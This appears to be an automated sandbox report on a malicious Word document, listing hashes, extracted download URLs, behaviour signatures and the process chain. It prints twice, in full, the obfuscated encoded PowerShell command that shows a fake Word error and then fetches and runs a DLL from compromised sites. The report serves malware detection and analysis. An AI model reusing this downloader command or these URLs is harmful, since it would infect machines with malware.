Analysis
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max time kernel
138s -
max time network
149s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
14-01-2021 10:11
Behavioral task
behavioral1
Sample
MES 20210112 59171.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
MES 20210112 59171.doc
Resource
win10v20201028
General
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Target
MES 20210112 59171.doc
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Size
162KB
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MD5
c499b2e5eb162db6733c0f92e43ef62d
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SHA1
8f4bfae7b3350780bf663704e7d038992628ea35
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SHA256
9062af099365a0eea3e468661b9ead34f4cfc42f275fd45660d52a889154e96b
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SHA512
ad39aa303dd17b434aebf9b9bc46b7cff0df4a32ff9a77de08896b2d044a19536ebe6086b7b9beaeec0419ff9f5765dc4283ef2ef701929e16588ec168378d2a
Malware Config
Extracted
http://www.mitraship.com/wp-content/ZKeB/
http://djsrecord.com/wp-includes/abop/
https://lastfrontierstrekking.com/new/2OaabFU/
https://watchnshirt.com/y/L7z9YcA/
https://www.impipower.com/wp-content/U/
https://www.inkayniperutours.com/druver/LtcG/
https://vysimopoulos.com/d/NF/
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 752 4020 cmd.exe -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exerundll32.exeflow pid process 21 3052 powershell.exe 29 2280 rundll32.exe -
Loads dropped DLL 1 IoCs
Processes:
rundll32.exepid process 3848 rundll32.exe -
Drops file in System32 directory 1 IoCs
Processes:
rundll32.exedescription ioc process File opened for modification C:\Windows\SysWOW64\Ipipnhbw\gqqjvyy.bxi rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 1812 WINWORD.EXE 1812 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exerundll32.exepid process 3052 powershell.exe 3052 powershell.exe 3052 powershell.exe 2280 rundll32.exe 2280 rundll32.exe 2280 rundll32.exe 2280 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3052 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 1812 WINWORD.EXE 1812 WINWORD.EXE 1812 WINWORD.EXE 1812 WINWORD.EXE 1812 WINWORD.EXE 1812 WINWORD.EXE 1812 WINWORD.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exedescription pid process target process PID 752 wrote to memory of 3916 752 cmd.exe msg.exe PID 752 wrote to memory of 3916 752 cmd.exe msg.exe PID 752 wrote to memory of 3052 752 cmd.exe powershell.exe PID 752 wrote to memory of 3052 752 cmd.exe powershell.exe PID 3052 wrote to memory of 1976 3052 powershell.exe rundll32.exe PID 3052 wrote to memory of 1976 3052 powershell.exe rundll32.exe PID 1976 wrote to memory of 3848 1976 rundll32.exe rundll32.exe PID 1976 wrote to memory of 3848 1976 rundll32.exe rundll32.exe PID 1976 wrote to memory of 3848 1976 rundll32.exe rundll32.exe PID 3848 wrote to memory of 2280 3848 rundll32.exe rundll32.exe PID 3848 wrote to memory of 2280 3848 rundll32.exe rundll32.exe PID 3848 wrote to memory of 2280 3848 rundll32.exe rundll32.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\MES 20210112 59171.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
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C:\Windows\system32\cmd.execmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAFMARQB0ACAAKAAiAHgAawAiACsAIgBxAG0AIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBGACcAWQAnACwAJwBzACcALAAnAFMAVABFAG0ALgBpAG8ALgAnACwAJwBkAEkAcgBFAGMAVABPAHIAWQAnACkAIAAgACkAOwAgACAAIAAgAFMAZQBUAC0AVgBhAHIASQBhAGIAbABFACAAIABFADMAagB2AEEATQAgACgAIABbAFQAWQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAgAC0ARgAnAEUAcABvAGkAbgBUACcALAAnAHMAeQBzAFQAZQBNAC4AbgBlAFQALgBTAEUAcgB2AGkAJwAsACcAZQAnACwAJwBDACcALAAnAFIAJwAsACcAbQBBAE4AYQBHACcAKQAgACkAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAdABsAHkAQwAnACsAJwBvACcAKQArACcAbgB0ACcAKwAoACcAaQAnACsAJwBuAHUAJwApACsAJwBlACcAKQA7ACQAUQB6AGgAeABoADMAMAA9ACQASAAwADIAVgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA4ADYATwA7ACQAQwAxADkATwA9ACgAJwBaACcAKwAoACcAMAAnACsAJwBfAE8AJwApACkAOwAgACgAIAAgAEcARQB0AC0AVgBhAHIASQBBAEIATABlACAAIAAoACIAeABLACIAKwAiAFEATQAiACkAIAAtAFYAYQBMACkAOgA6ACIAQwBSAGAAZQBgAEEAVABgAGUARABJAFIAZQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAE4AeQBwADIAYgB2AGkAewAwAH0ATQA1ACcAKwAnAHIAZwAnACsAKAAnAHYANQAnACsAJwBuACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgA2ADIAUQA9ACgAJwBVACcAKwAoACcANwA0ACcAKwAnAFgAJwApACkAOwAgACgAIABHAGUAVAAtAFYAYQBSAGkAYQBCAEwARQAgAEUAMwBqAFYAYQBNACAAIAAtAHYAQQBsACAAKQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAYABZAHAAcgBgAG8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFEAOQA0AFIAPQAoACgAJwBIADcAJwArACcAMgAnACkAKwAnAE4AJwApADsAJABGAGkAbwBjAGQAbgBhACAAPQAgACgAKAAnAFoAJwArACcAXwAzACcAKQArACcAVgAnACkAOwAkAEUAMABfAFAAPQAoACgAJwBIACcAKwAnADcAMwAnACkAKwAnAEgAJwApADsAJABVADUAdQBjADIANABqAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACcATgB5AHAAMgBiAHYAaQB7ADAAfQBNADUAcgBnACcAKwAnAHYANQAnACsAJwBuACcAKwAnAHsAMAB9ACcAKQAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQARgBpAG8AYwBkAG4AYQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVAA5ADYAVgA9ACgAKAAnAEMANQAnACsAJwA3ACcAKQArACcAUwAnACkAOwAkAEkAdQBjAG0AZABxADIAPQAoACcAdwAnACsAKAAnAF0AeABtAFsAdgA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AbQAnACsAJwBpAHQAJwArACcAcgAnACsAJwBhAHMAaABpAHAALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvAFoASwBlAEIAJwArACcALwAnACkAKwAnAEAAJwArACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbAHYAOgAvAC8AJwArACcAZAAnACsAJwBqAHMAcgAnACkAKwAoACcAZQBjACcAKwAnAG8AcgAnACkAKwAoACcAZAAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcALwBhAGIAJwArACcAbwBwAC8AJwApACsAJwBAAHcAJwArACgAJwBdAHgAJwArACcAbQBbAHYAJwApACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAYQBzACcAKwAnAHQAZgAnACsAJwByAG8AbgAnACkAKwAoACcAdABpAGUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAZQBrAGsAJwApACsAKAAnAGkAbgAnACsAJwBnACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAG4AZQB3AC8AMgBPAGEAJwArACcAYQAnACkAKwAoACcAYgBGAFUAJwArACcALwBAAHcAXQB4ACcAKQArACgAJwBtAFsAdgBzADoALwAvAHcAYQB0AGMAJwArACcAaABuAHMAJwArACcAaABpACcAKwAnAHIAJwArACcAdAAuAGMAbwBtAC8AeQAnACsAJwAvACcAKwAnAEwANwB6ADkAWQBjACcAKwAnAEEALwBAACcAKwAnAHcAXQB4ACcAKwAnAG0AJwApACsAKAAnAFsAdgAnACsAJwBzADoALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAdwAnACsAJwAuAGkAJwApACsAKAAnAG0AcAAnACsAJwBpAHAAJwArACcAbwAnACsAJwB3ACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAZQBuAHQAJwArACcALwBVACcAKQArACcALwBAACcAKwAoACcAdwBdAHgAbQBbAHYAJwArACcAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcALgAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAYQB5AG4AaQAnACkAKwAoACcAcABlAHIAdQB0ACcAKwAnAG8AJwArACcAdQByAHMALgBjAG8AJwArACcAbQAvAGQAJwApACsAKAAnAHIAJwArACcAdQB2AGUAJwArACcAcgAvACcAKwAnAEwAdABjAEcAJwApACsAKAAnAC8AQAB3ACcAKwAnAF0AeAAnACsAJwBtAFsAJwApACsAKAAnAHYAJwArACcAcwA6ACcAKQArACgAJwAvAC8AdgB5ACcAKwAnAHMAaQAnACkAKwAoACcAbQBvAHAAJwArACcAbwB1AGwAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AZAAvAE4AJwArACcARgAvACcAKQApAC4AIgBSAGAAZQBQAEwAYABBAEMAZQAiACgAKAAnAHcAXQAnACsAKAAnAHgAbQAnACsAJwBbACcAKQArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABIADkAMgBHACAAKwAgACQAUQB6AGgAeABoADMAMAAgACsAIAAkAEoAOQA1AFMAKQA7ACQATAA0ADQARQA9ACgAJwBZADgAJwArACcAOABLACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwB1AHEAMgAyAF8AaAAgAGkAbgAgACQASQB1AGMAbQBkAHEAMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAHMAdABFAG0ALgBuAGUAVAAuAHcARQBCAGMATABpAGUAbgBUACkALgAiAGQATwB3AE4AbABgAG8AYABBAGQARgBgAGkAbABlACIAKAAkAFcAdQBxADIAMgBfAGgALAAgACQAVQA1AHUAYwAyADQAagApADsAJABBADcAMQBOAD0AKAAoACcATwAnACsAJwAyADQAJwApACsAJwBGACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABVADUAdQBjADIANABqACkALgAiAEwARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAANAA1ADEANAA5ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAFUANQB1AGMAMgA0AGoALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEAGkAJwArACcAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAVABPAGAAUwB0AHIAaQBOAEcAIgAoACkAOwAkAEkANgAzAEUAPQAoACgAJwBTACcAKwAnADgAOAAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABFADcAMgBTAD0AKAAnAEsANAAnACsAJwBfAEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBPAD0AKAAoACcAVAAnACsAJwA3ADgAJwApACsAJwBKACcAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOwersheLL -w hidden -ENCOD IAAgAFMARQB0ACAAKAAiAHgAawAiACsAIgBxAG0AIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBGACcAWQAnACwAJwBzACcALAAnAFMAVABFAG0ALgBpAG8ALgAnACwAJwBkAEkAcgBFAGMAVABPAHIAWQAnACkAIAAgACkAOwAgACAAIAAgAFMAZQBUAC0AVgBhAHIASQBhAGIAbABFACAAIABFADMAagB2AEEATQAgACgAIABbAFQAWQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAgAC0ARgAnAEUAcABvAGkAbgBUACcALAAnAHMAeQBzAFQAZQBNAC4AbgBlAFQALgBTAEUAcgB2AGkAJwAsACcAZQAnACwAJwBDACcALAAnAFIAJwAsACcAbQBBAE4AYQBHACcAKQAgACkAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAdABsAHkAQwAnACsAJwBvACcAKQArACcAbgB0ACcAKwAoACcAaQAnACsAJwBuAHUAJwApACsAJwBlACcAKQA7ACQAUQB6AGgAeABoADMAMAA9ACQASAAwADIAVgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA4ADYATwA7ACQAQwAxADkATwA9ACgAJwBaACcAKwAoACcAMAAnACsAJwBfAE8AJwApACkAOwAgACgAIAAgAEcARQB0AC0AVgBhAHIASQBBAEIATABlACAAIAAoACIAeABLACIAKwAiAFEATQAiACkAIAAtAFYAYQBMACkAOgA6ACIAQwBSAGAAZQBgAEEAVABgAGUARABJAFIAZQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAE4AeQBwADIAYgB2AGkAewAwAH0ATQA1ACcAKwAnAHIAZwAnACsAKAAnAHYANQAnACsAJwBuACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgA2ADIAUQA9ACgAJwBVACcAKwAoACcANwA0ACcAKwAnAFgAJwApACkAOwAgACgAIABHAGUAVAAtAFYAYQBSAGkAYQBCAEwARQAgAEUAMwBqAFYAYQBNACAAIAAtAHYAQQBsACAAKQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAYABZAHAAcgBgAG8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFEAOQA0AFIAPQAoACgAJwBIADcAJwArACcAMgAnACkAKwAnAE4AJwApADsAJABGAGkAbwBjAGQAbgBhACAAPQAgACgAKAAnAFoAJwArACcAXwAzACcAKQArACcAVgAnACkAOwAkAEUAMABfAFAAPQAoACgAJwBIACcAKwAnADcAMwAnACkAKwAnAEgAJwApADsAJABVADUAdQBjADIANABqAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACcATgB5AHAAMgBiAHYAaQB7ADAAfQBNADUAcgBnACcAKwAnAHYANQAnACsAJwBuACcAKwAnAHsAMAB9ACcAKQAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQARgBpAG8AYwBkAG4AYQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVAA5ADYAVgA9ACgAKAAnAEMANQAnACsAJwA3ACcAKQArACcAUwAnACkAOwAkAEkAdQBjAG0AZABxADIAPQAoACcAdwAnACsAKAAnAF0AeABtAFsAdgA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AbQAnACsAJwBpAHQAJwArACcAcgAnACsAJwBhAHMAaABpAHAALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvAFoASwBlAEIAJwArACcALwAnACkAKwAnAEAAJwArACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbAHYAOgAvAC8AJwArACcAZAAnACsAJwBqAHMAcgAnACkAKwAoACcAZQBjACcAKwAnAG8AcgAnACkAKwAoACcAZAAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcALwBhAGIAJwArACcAbwBwAC8AJwApACsAJwBAAHcAJwArACgAJwBdAHgAJwArACcAbQBbAHYAJwApACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAYQBzACcAKwAnAHQAZgAnACsAJwByAG8AbgAnACkAKwAoACcAdABpAGUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAZQBrAGsAJwApACsAKAAnAGkAbgAnACsAJwBnACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAG4AZQB3AC8AMgBPAGEAJwArACcAYQAnACkAKwAoACcAYgBGAFUAJwArACcALwBAAHcAXQB4ACcAKQArACgAJwBtAFsAdgBzADoALwAvAHcAYQB0AGMAJwArACcAaABuAHMAJwArACcAaABpACcAKwAnAHIAJwArACcAdAAuAGMAbwBtAC8AeQAnACsAJwAvACcAKwAnAEwANwB6ADkAWQBjACcAKwAnAEEALwBAACcAKwAnAHcAXQB4ACcAKwAnAG0AJwApACsAKAAnAFsAdgAnACsAJwBzADoALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAdwAnACsAJwAuAGkAJwApACsAKAAnAG0AcAAnACsAJwBpAHAAJwArACcAbwAnACsAJwB3ACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAZQBuAHQAJwArACcALwBVACcAKQArACcALwBAACcAKwAoACcAdwBdAHgAbQBbAHYAJwArACcAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcALgAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAYQB5AG4AaQAnACkAKwAoACcAcABlAHIAdQB0ACcAKwAnAG8AJwArACcAdQByAHMALgBjAG8AJwArACcAbQAvAGQAJwApACsAKAAnAHIAJwArACcAdQB2AGUAJwArACcAcgAvACcAKwAnAEwAdABjAEcAJwApACsAKAAnAC8AQAB3ACcAKwAnAF0AeAAnACsAJwBtAFsAJwApACsAKAAnAHYAJwArACcAcwA6ACcAKQArACgAJwAvAC8AdgB5ACcAKwAnAHMAaQAnACkAKwAoACcAbQBvAHAAJwArACcAbwB1AGwAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AZAAvAE4AJwArACcARgAvACcAKQApAC4AIgBSAGAAZQBQAEwAYABBAEMAZQAiACgAKAAnAHcAXQAnACsAKAAnAHgAbQAnACsAJwBbACcAKQArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABIADkAMgBHACAAKwAgACQAUQB6AGgAeABoADMAMAAgACsAIAAkAEoAOQA1AFMAKQA7ACQATAA0ADQARQA9ACgAJwBZADgAJwArACcAOABLACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwB1AHEAMgAyAF8AaAAgAGkAbgAgACQASQB1AGMAbQBkAHEAMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAHMAdABFAG0ALgBuAGUAVAAuAHcARQBCAGMATABpAGUAbgBUACkALgAiAGQATwB3AE4AbABgAG8AYABBAGQARgBgAGkAbABlACIAKAAkAFcAdQBxADIAMgBfAGgALAAgACQAVQA1AHUAYwAyADQAagApADsAJABBADcAMQBOAD0AKAAoACcATwAnACsAJwAyADQAJwApACsAJwBGACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABVADUAdQBjADIANABqACkALgAiAEwARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAANAA1ADEANAA5ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAFUANQB1AGMAMgA0AGoALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEAGkAJwArACcAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAVABPAGAAUwB0AHIAaQBOAEcAIgAoACkAOwAkAEkANgAzAEUAPQAoACgAJwBTACcAKwAnADgAOAAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABFADcAMgBTAD0AKAAnAEsANAAnACsAJwBfAEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBPAD0AKAAoACcAVAAnACsAJwA3ADgAJwApACsAJwBKACcAKQA=2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll,ShowDialogA3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll,ShowDialogA4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ipipnhbw\gqqjvyy.bxi",ShowDialogA5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dllMD5
cdb903ddc2452950c7d35c03b8908663
SHA18a55d0e5bfa9b869be13fd92cae13aa81006da00
SHA256caffec6158980890caefe5a03735ae1e6fc1b6d0544c1e3b60a8954776851ab0
SHA512633eb08e240d27cba50f5692fe928b6cb5afb7bca88f4a38cbfabdd5d64fd40cc67bc5c898119e45e744b17c442993a12abc92674ad53646c5ac3a4790e1244a
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\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dllMD5
cdb903ddc2452950c7d35c03b8908663
SHA18a55d0e5bfa9b869be13fd92cae13aa81006da00
SHA256caffec6158980890caefe5a03735ae1e6fc1b6d0544c1e3b60a8954776851ab0
SHA512633eb08e240d27cba50f5692fe928b6cb5afb7bca88f4a38cbfabdd5d64fd40cc67bc5c898119e45e744b17c442993a12abc92674ad53646c5ac3a4790e1244a
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memory/1812-2-0x00007FF8C68A0000-0x00007FF8C6ED7000-memory.dmpFilesize
6.2MB
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memory/1976-8-0x0000000000000000-mapping.dmp
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memory/2280-12-0x0000000000000000-mapping.dmp
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memory/3052-4-0x0000000000000000-mapping.dmp
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memory/3052-5-0x00007FF8BBC90000-0x00007FF8BC67C000-memory.dmpFilesize
9.9MB
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memory/3052-6-0x000002C646E50000-0x000002C646E51000-memory.dmpFilesize
4KB
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memory/3052-7-0x000002C647000000-0x000002C647001000-memory.dmpFilesize
4KB
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memory/3848-10-0x0000000000000000-mapping.dmp
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memory/3916-3-0x0000000000000000-mapping.dmp